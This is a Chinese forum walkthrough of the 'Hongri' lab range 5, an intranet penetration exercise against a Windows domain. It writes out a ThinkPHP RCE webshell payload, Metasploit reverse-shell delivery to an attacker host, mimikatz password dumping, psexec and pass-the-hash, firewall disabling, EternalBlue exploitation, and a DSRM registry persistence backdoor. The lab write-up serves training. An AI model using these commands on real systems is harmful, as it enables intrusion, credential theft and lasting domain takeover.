内网渗透测试--红日靶场五

spider   ·   发表于 2023-04-12 22:15:49   ·   技术文章

给同学们带来一篇红日靶场的文章啦

靶场下载地址:http://39.98.79.56/vuln/detail/7/

描述

虚拟机密码

win7
sun\leo 123.com
sun\Administrator dc123.com
192.168.2.39-外网
192.168.138.136-内网

2008
sun\admin 2020.com
192.168.138.138-内网

红队思路

一、环境搭建

  • 1.环境搭建测试
  • 2.信息收集

二、漏洞利用

  • 3.漏洞搜索与利用
  • 4.漏洞利用Getshell
  • 5.系统信息收集
  • 6.主机密码收集

三、内网搜集

  • 7.内网—继续信息收集
  • 8.内网攻击姿势—MS14-058
  • 9.内网攻击姿势—MS17-010

四、横向移动

  • 10.psexec远控
  • 11.内网其它主机端口
  • 12.netsh增删防火墙规则

五、构建通道

  • 13.内网其它主机端口-代理转发

六、持久控制

  • 14.域渗透-域成员信息收集
  • 15.域渗透-基础服务弱口令探测及深度利用之powershell
  • 16.域渗透-横向移动[wmi利用]
  • 17.域渗透-域控实现与利用

七、痕迹清理

  • 18、日志清理

环境配置

1、用域控账号关闭防火墙,配置好网络
2、记得手动开启phpstudy

外网打点阶段

常规开局很多人都是用nmap扫描的,或者用别的扫描器,这会让我感觉扫描结果很慢
所以我直接上fscan,目前扫描的结果还是算不错的,要用一段时间再看看

web看到有一个thinkphp,还有poc可以打


随便输入错误的东西之后,就会报错出版本号

http://192.168.2.39/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1


写入shell:
/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test2.php&vars[1][]=<?php eval($_REQUEST[8]);?>


貌似是写入成功了,尝试访问一下


上马~

信息收集


ipconfig /all


arp -a

上线msf
use exploit/multi/script/web_delivery
set target 2 # 选择使用powershell类型的payload
set payload windows/meterpreter/reverse_tcp
set lhost 172.23.2.250 #攻击机器地址
exploit
把msf生成的payload复制到受害者机器上进行上线

再次信息收集,先收集令牌,因为我们前面已经确认了这台机器是在域控中了


可以看到有域控和域成员的令牌可以直接使用


我们为了学习,我们先上域成员去玩

解决乱码:chcp 65001

查看域控命令的时候,权限被拒绝了,估计是这个权限还是不够高


我觉得可以试一试getsystem,如果这个也不行 那就只能再想其他办法了

msf提权

meterpreter > rev2self
meterpreter > getuid
Server username: SUN\Administrator
meterpreter > getsystem
…got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

退回administrator权限再尝试getsystem

net user /domain
域控信息和域控的账号密码


net group “domain admins” /domain

地址也对得上

前面看令牌的生活,发现域控的管理员账号也在,我们可以先试试抓抓管理员的密码
我们提前搭建隧道,因为后面迟早会用到的

隧道搭建

路由转发与代理通道

下面我们来尝试攻击域控。
首先在msfconsole里面添加一个通向192.168.138.0网段的路由:
route add 192.168.138.0 255.255.255.0 1
route print

先查看路由


添加路由,目的是为了可以访问域控机器,可以锤他


搭建frp隧道,留着隧道备用

抓取域用户密码

使用msfconsole中的wiki模块抓取密码:

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords


可以看见报错了,可以很直观的发现,是系统版本问题
其实这个因为我们的上线方式是在系统中属于32位的,所以运行mimikatz抓密码的时候无法正常去操作
所以,我们要解决这个问题,我们必须要做进程迁移,迁移到一个64位的程序中
我们可以先看看有什么程序适合的
可以先执行ps


假设说我们要选择这个
624 488 svchost.exe


迁移完64位进程之后,可以尝试再次抓取密码

如上图,成功抓取到了域管理员Administrator和域用户leo的密码:
•SUN\Administrator:dc123.com
•SUN\leo:123.com

Psexec 攻击

既然已经获得了域管理员的用户名密码,那么我们直接尝试使用psexec登录域控(Windows 2008):
use exploit/windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com
//set SMBPass c8c42d085b5e3da2e9260223765451f1:e8bea972b3549868cecd667a64a6ac46
set payload windows/meterpreter/bind_tcp
set rhost 172.23.2.250
run


这里可以看见利用失败了,可能是因为对方有防火墙开着
那我们想办法干掉防火墙
用sc服务关闭防火墙

要在此之前要提前把身份认证做好,所以我们可以用ipc$管道连接
net use \192.168.138.138\ipc$ “dc123.com”/user:”administrator”

然后创建服务来远程关闭Windows 2008的防火墙:

sc \192.168.138.138 create unablefirewall binpath= “netsh advfirewall set allprofiles state off” # 创建服务
sc \192.168.138.138 start unablefirewall # 立即启动服务

由此可见,已经干掉他的防火墙了


回到上一步继续psexec再试试

use exploit/windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com

set SMBPass c8c42d085b5e3da2e9260223765451f1:e8bea972b3549868cecd667a64a6ac46

set payload windows/meterpreter/bind_tcp
set rhost 192.168.138.138
run

已经拿下域控

这里退回一下msf,开启桌面做权限维持以及做金票什么的也方便
开启Windows 2008远程桌面:
use post/windows/manage/enable_rdpset
session 2
run

前面我们已经配置好frp了,现在打开Proxifire直接配置用就行了
打开远程


输入:SUN\Administrator:dc123.com

权限维持

创建 DSRM 后门

DSRM是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账号(也就是DSRM账号)。DSRM的用途是:允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行 ntdsutil 命令。
在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。我们知道,每个DC都有本地管理员(administrator)账号和密码(与域管理员账号密码不同)。DSRM账号可以作为每个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
注意:该类持久化操作适用的服务器版本:Windows Server 2008及以后版本的Windows服务器。
在域控制器上,DSRM账号的表现形式是本地的管理员 Administrator 用户,也就是说本地管理员 Administrator 用户等于DSRM账号。
首先,我们为 DSRM 账号设置新密码。在域控制器(Windows 2008)的cmd中进入ntdsutil,然后输入下面命令进行修改DSRM账户的密码:

ntdsutil // 进入ntdsutil
set dsrm password // 设置DSRM账户的密码
reset password on server null // 在当前域控制器上恢复DSRM密码

<password> // 输入新密码

<password> // 重新输入新密码
q //退出DSRM密码设置模式
q // 退出ntdsutil


接着,我们返回msf使用kiwi模块执行mimikatz命令来读取域控本地SAM文件中的本地管理员的NTLM Hash,确认域控制器上DSRM账户的密码是否修改成功:
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd token::elevate
kiwi_cmd lsadump::sam


如上图所示,本地管理员administrator的NTLM Hash为:e8bea972b3549868cecd667a64a6ac46。
然后,我们修改域控主机的DSRM账户登录方式。在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。我们可以在注册表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior项进行设置,将该新建的项中的值设为0、1、2可以分别设置不同的DSRM账户登录方式:
•0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
•1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
•2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
如下所示,我们用powershell命令将DSRM的登录方式设置为“2”,即在任何情况下,都可以使用DSRM管理员账号登录域控制器:
打开powershell执行
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD

最后,我们即可以在域成员主机Windows7上通过mimikatz,使用域控制器的本地Administrator账号哈希传递攻击域控了

privilege::debug
sekurlsa::pth /domain:DC /user:Administrator /ntlm:e8bea972b3549868cecd667a64a6ac46

注意,在这里,/domain 选项不是添域名,而是域控制器的机器名(DC),一定要注意。
除了向上面那样直接修改DSRM账户的密码外,我们还可以为DSRM同步为一个普通域用户的密码。但是要注意,本次靶场的域控制器的系统版本为Windows Server 2008,所以需要安装 KB961320 补丁才可以使用指定域账号的密码对DSRM的密码进行同步。在Windows Server 2008以后版本的系统中不需要安装此补丁。
同步的方式如下:

ntdsutil // 进入ntdsutil
set dsrm password // 设置DSRM账户的密码
sync from domain account domainusername // 使DSRM的密码和指定的domainusername域用户的密码同步
q //退出DSRM密码设置模式
q // 退出ntdsutil

之后的操作就和上面所演示的一样了,同样还是读取本地SAM文件中的本地管理员的NTLM Hash,确认域控制器上DSRM账户的密码是否修改成功,然后同样还是修改目标主机DC的DSRM账户登录方式,最后同样还是在域成员主机Windows7上通过mimikatz,使用域控制器的本地Administrator账号哈希传递攻击域控。

攻击域控第二种打法

拿到入口机器之后的另外一种打法_ms17-010拿权限
扫描了漏洞说明是这台机器是容易受到攻击的,那么我们尝试一下


在实战中,我们不可能一上来就打权限,不得已的时候是不会使用的
我们可以先用command,然后再用psexec开启guest账户登陆
guest用户默认是不开启的,而我们可以把它开起来,然后加入管理组

ms17-010一发入魂不蓝屏

利用msf先通过ms17_010_commend模块执行系统命令添加用户至管理员。再指定SMBPass和SMBUser来建立windows可访问命名管道[accessible named pipe]

  1. system的权限可以直接激活guest用户添加管理员组。

use auxiliary/admin/smb/ms17_010_command
开启guest用户
set rhosts 192.168.138.138
set command net user guest active/yes
set command net user guest P@ssw0rd
set command net loaclgroup administrators guest /add

第一种比较危险的打法
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.138.138 //配置攻击目标IP
set LHOST 172.23.2.250 //配置本机IP
set payload windows/x64/meterpreter/reverse_tcp //配置回链方式
show options //查看配置选项
run

失败了

开3389
set command REG QUERY “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections

记得关闭对方防火墙才可以进行3389连接喔

总结

初学时期 很多漏洞都要多多尝试去打,多多复盘总结成为专属于自己的一套内网打法,慢慢熟练之后 需要快准狠

用户名金币积分时间理由
Track-聂风 110.00 0 2023-04-15 15:03:24 活动奖励
Track-聂风 110.00 0 2023-04-15 15:03:18 文章奖励

打赏我,让我更有动力~

0 条回复   |  直到 2023-4-12 | 1636 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.